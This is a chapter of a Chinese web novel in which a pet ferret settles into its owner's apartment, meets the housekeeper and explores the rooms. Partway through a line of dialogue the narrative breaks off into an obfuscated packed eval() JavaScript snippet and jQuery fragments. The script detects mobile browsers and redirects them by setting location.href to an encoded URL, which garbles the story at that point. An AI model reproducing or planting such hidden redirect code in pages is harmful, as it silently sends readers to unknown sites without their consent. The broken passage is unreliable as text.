23. 王八蛋

作品:《养只雪貂当晚餐

    潮湿的发丝挂着水滴,随着路盛绥说话的幅度往下落。


    好几颗砸在雪貂的后背,被绷带和银白色的绒毛隔绝,又被小貂下意识抖掉。


    而身体不受控制抖动的裴希简在他手里呆住了。


    这几分钟涌来的信息量太大了,他一只小貂的脑袋实在装不下。


    貂貂宕机了。


    路盛绥唰地将衣柜门关上,表情平常,浑身沾着从浴室带出来的湿润热气,语气也有了温度:“在营地的时候不是非要钻我的床,回家了就不钻了?”


    像是翻旧账的讨伐,也像挪逾打趣。


    裴希简愣愣地抬眼,看见了平直的嘴角,冷淡的眉眼,还有耳尖上一丝不易察觉的红,也不知道是在浴室闷的还是其他什么,衬得耳垂上那枚小小的黑金色耳钉更加显眼。


    但雪貂没去深究,他现在满脑子只有一件事——


    路盛绥这是……在邀请自己上床吗?


    他可以在第一天,不耍任何心眼子,就钻进路盛绥的被窝吗?!


    貂貂开机了。


    太好了!!


    终于理清了所有思绪,雪貂一双眼睛冒出光来,四只爪子在空气中乱晃,仰起头说:「钻!谁不钻谁不是好貂!」


    说完,他不等路盛绥松手,一阵乱踢从这人的手掌中挣开,啪叽扑上了房间里唯一一张大床上,四爪一抻,惬意地瘫成了一块貂饼。


    城市就是不一样,在高原上,冰天雪地之间,床也冻得硬邦邦的,统一发配的被褥只刚够一个人盖,想要保暖,路盛绥都得微微蜷着。


    但在这里,床大得能躺下两个路盛绥,被褥宽大厚实,床垫软硬适中,被太阳炙烤过的气味把雪山香气都泡化了,丝丝缕缕,温暖和煦。


    裴希简几乎瞬间有了困意,如奶油般化在了被子上,甚至都懒得钻进被窝。


    四仰八叉的棉花条倏地没了动静,绒毛仍然炸着,一点点软下去。


    路盛绥挑挑眉,走过去将雪貂塞进被子,这家伙刚刚打开衣柜的时候还吓得浑身僵硬,此刻却没骨头似的,在他手心任他随意拨弄。


    看上去这么机灵,这么快就能被转移注意力。


    路盛绥嘴角微微勾了勾。


    脖颈处开始发痒,热度也慢慢攀升,他不用看都知道那里泛起了红。


    喉结上下滑动,呼吸乱了一瞬,但很快被平复。


    路盛绥压下眼底微不可查的情绪,利索地将雪貂放进了被子里。


    他在另一边睡下,房间里有暖气,被子今天也找阿姨晒过,一切都很暖和。


    本该是最适宜犯困的环境,但路盛绥心烦意乱、毫无睡意。


    雪貂就在他的枕边不到一尺,能够隐约嗅到某种类似饼干的甜气。毛茸茸的小腹随着呼吸平稳起伏,看得路盛绥心痒难耐。


    在高原上,所有的一切还可以被当作是情有可原,取暖、亦或是睡袋太小,一人一貂不得不紧紧贴在一起。


    但现在,床足够宽敞,房间足够暖和,雪貂看起来也只是想要在床上睡觉而已。


    房间安静两分钟后,一边的被子被掀起,路盛绥踩着拖鞋,揉着眉心推开了衣柜。


    -


    京城的日出比高原更早,也不像高原上那般刺眼,窗帘一拉,房间暗沉沉的,只有四边的缝隙透出些光亮来。


    暖气一直没关,哪里都热烘烘的,完全没有冬天的寒冷。裴希简在这样舒适的环境下睡了个昏天暗地。


    他睡懵了,前几日养成的习惯还在,一睁眼就下意识往外爬,刚爬两步,前半身就猛地悬空,噗通一下摔下了床。


    “咕!”他发出一声惊呼,四爪朝天,彻底清醒了。


    他现在在路盛绥的家,而昨晚,是路盛绥主动邀请他上床睡觉的。


    他根本不用跑!


    雪貂瞬间放下心,脑袋一歪,翻了个身,就这么顺势趴在了地板上。


    地板是瓷的,被打扫得一尘不染。按理来说,这么冷的冬天,应该是冷冰冰的,但路盛绥家的瓷砖不一样——


    是!热!的!


    太舒服了!!!


    路盛绥家里真的太神奇了!!!


    将下巴搁在地板上还不够,裴希简侧过头,用脸颊去贴灰色的瓷砖。


    感受到暖和的热意,雪貂长长呼出一口气,眼皮缓缓阖上。


    “咔哒——”


    门锁扭动的微弱声响传来,裴希简想都不用想,肯定是路盛绥来了。


    雪貂懒得睁眼,任凭自己陷入深层的睡意。


    一阵脚步带起的风渐渐靠近,即将进入梦乡的雪貂却忽然耸起鼻子。


    等等……


    这不是路盛绥的气味!


    裴希简心中警铃大作,他来不及睁开眼,一双手已经将他上下包裹,一把托了起来。


    “咕!”


    他瞪大眼睛,入目的是一张极度陌生的脸。


    雪貂突然睁开眼,把抱着他的郑姨吓了一跳。


    “诶哟,怎么醒啦?小路不是说你还要睡一会儿嘞?”


    带着点口音,听得裴希简微微一怔。


    见雪貂不说话,郑姨还以为他被吓着了,立马将他在床上放下,说:“摔疼了吧!乖乖!”


    裴希简直起身,睁着双黑眼睛愣愣盯着阿姨。


    郑姨一拍脑门:“诶哟,把这茬忘了!我来自我介绍一下,我是这里的家政阿姨,专门负责小路家里,他们都叫我郑姨。”


    裴希简脑袋一歪,眨眨眼睛:“咕咕?”


    「郑姨?」


    “诶!对咯。”郑姨挂着笑,和雪貂畅谈起来。


    “乖乖叫雪饼是不是?”


    裴希简仰着头应答:“咕!”「是!」


    “乖乖是公是母啊?”


    裴希简脚一蹬,翻过身,露出毛茸茸的肚皮:“咕咕咕咕咕咕咕咕咕咕!”「是超级强壮的雄性雪貂!」


    郑姨被他逗得直乐,哈哈笑道:“那乖乖饿了吧,我们去吃饭吧!”


    说着,她冲雪貂张开双臂。


    “咕!”「好!」


    雪貂收起爪子,蹦上了郑姨的手臂,紧紧环住。


    郑姨带他往外走,边走边为他整理脑袋上的毛发:“小路果然没说错,你这乖乖啊,真通人性,真讨人喜欢!不怪小路把你带回来。”


    “咕!”裴希简被夸得摇头晃脑,甩着尾巴。


    郑姨在印了他照片的定制小碗里倒了满满一盆貂粮,又拆了条益生菌掺进去。


    裴希简饿坏了,但他乖乖站在一旁,等郑姨搅拌均匀后才将脸埋进了碗里。


    他边吃边想:自己真是一只好貂!真懂礼貌!


    他狼吞虎咽,貂粮塞得两边脸颊都鼓起来,才从碗里抬起了头。


    他还来不及咬碎,离开的郑姨去而复返,手里拿着什么东西。她停在雪貂身边,蹲下身,将手里的东西靠了上来。


    一阵轻柔的痒意从后脖颈传来。


    “?”裴希简打了个激灵,猛地回头。


    只见郑姨手里捏着把小小的木质梳子,裴希简在昨晚路盛绥的拆箱中见过。


    他的反应有些大,郑姨忙将他抱起来,轻声安抚:“乖乖,给你梳理一下毛发,省的你舔毛舔不顺。”


    梳理毛发?


    裴希简有些懵。


    他不是还绑着绷带吗?


    雪貂一低头,才发现捆住自己的绷带都不见了!


    什么时候拆的?!


    明明昨晚还在的!!


    雪貂一脸震惊。


    总不能……是他晚上睡得太香了乱蹭给蹭掉了吧?!


    小貂开始头脑风暴。


    郑姨贴心地开始解释:“今早小路给你拆了绷带,那时乖乖还没醒嘞,他让我给你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943336|191402||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    梳顺来。”


    嗷。


    原来是这样。


    雪貂瞬间放了心。


    但他有了另一个疑问——路盛绥去哪里了?


    被雪貂一双黑豆似的眼睛盯着,郑姨却没领略到:“怎么了?不舒服吗?郑姨轻一点,如果还不舒服等会儿小路回来让他来给你梳好不好啦?”


    裴希简很会抓重点。


    等会儿、回来。


    路盛绥会回来。


    行叭!梳叭!


    裴希简啪嗒一下趴在了郑姨的膝盖上,整只貂都看起来异常得可爱乖巧。


    郑姨看得心都化了:“真乖!”


    雪貂被绷带缠绕的时间太久,尽管洗过几次澡,很多毛还是一缕一缕的,郑姨耗了一番劲才打理好。


    将雪貂放下,她去阳台拿了个吸尘器,说:“乖乖,你就在房间里玩,郑姨先去打扫房间。”


    诺大的房子只剩下裴希简一只貂,还有某个房间里吸尘器发出的呲呲声。


    客厅的窗帘被拉开,灿烂的阳光穿过一层雾霭朦胧地落进来,在地板上形成几块块亮亮的光影,甚至能看见其中漂浮着的细小微尘。


    今天又是个好天气!


    人啊,一到舒适的环境,就容易松懈下来,干一些稀疏平常的小事。


    貂也一样。在高原上天天受冻,又被绷带绑着,毛发都懒得整理,但现在绷带拆了,活得也舒服了,就要重操旧业了!


    他脑袋一低,埋进了自己的腹部。


    刚刚郑姨才为他梳顺了毛,此刻他就是解解瘾,伸出舌头随意舔了舔。


    舔完毛,雪貂唰地站起来,开始巡视领地。


    他是路盛绥的小貂,所以路盛绥的房子就是他的房子!


    雪貂一点头,先在客厅兜了一圈,围绕着一个形状奇怪的大黑家伙研究了半天,失去兴趣后又跟在郑姨身后溜达,差点被那巨大的机器吸掉尾巴,惊惶地逃开。


    他决定远离吸尘器,独自一貂探索各个房间。


    昨晚太黑,他视力不行,看啥都觉得朴素,只能靠鼻子嗅。此刻亮堂堂,他才注意到,其实家里的装修并不是昨晚想的那样死板。


    虽然也是最简单的黑白灰搭配,但是某些饰品颜色活泼,样式也不像是路盛绥会喜欢的类型。


    但放在这个家里也确实不突兀。


    相反,如果不存在,那才是真的奇怪。


    裴希简边看边欣赏,遇到喜欢的就伸出爪子蹭蹭标记领地,短短几分钟,家里一半的东西都被他摸了个遍。


    他心满意足,最后发现身旁的瓷砖缝隙变宽了,才再次停下。


    这是走廊尽头,抬起眼,一幅巨大的油彩画矗立在眼前。


    他早就注意到了这幅画,奈何视力有限,远处看不清,近处又太高了,雪貂仰着小脑袋极力瞪大眼睛都看不完整。


    仰视太累了,他很快缩回脖子,晃了晃头,注意力又被油画背后的瓷砖的缝隙吸引。


    他眯起眼,举起爪子正要往前凑,郑姨从房间里走了出来。


    “乖乖!喜欢这幅画啊!喜欢也别碰哦,小路很看重它,它很贵的哦!”女人蹲下身,想将雪貂抱起来。


    手还没碰到小家伙,门关处传来开锁的声响。


    一大早就消失的路盛绥单手提着一个新的宠物跑轮出现在走廊上,朝他们看过来,说:“新买的,过来试试。”


    裴希简低头看了眼自己吃得圆滚滚的肚子,再看看那个崭新的大跑轮,又环顾了一下四周——油画、郑姨和家里的一切。


    接着他想起来昨晚的对话。


    他找不到自己的貂窝。


    这王八蛋是这样回答他的:“没钱了,买不起。”


    说得泪声俱下,听得潸然泪下。


    他瞪了一眼跑轮,又瞪了一眼路盛绥,整张脸都是大写的“你再哭穷试试?!”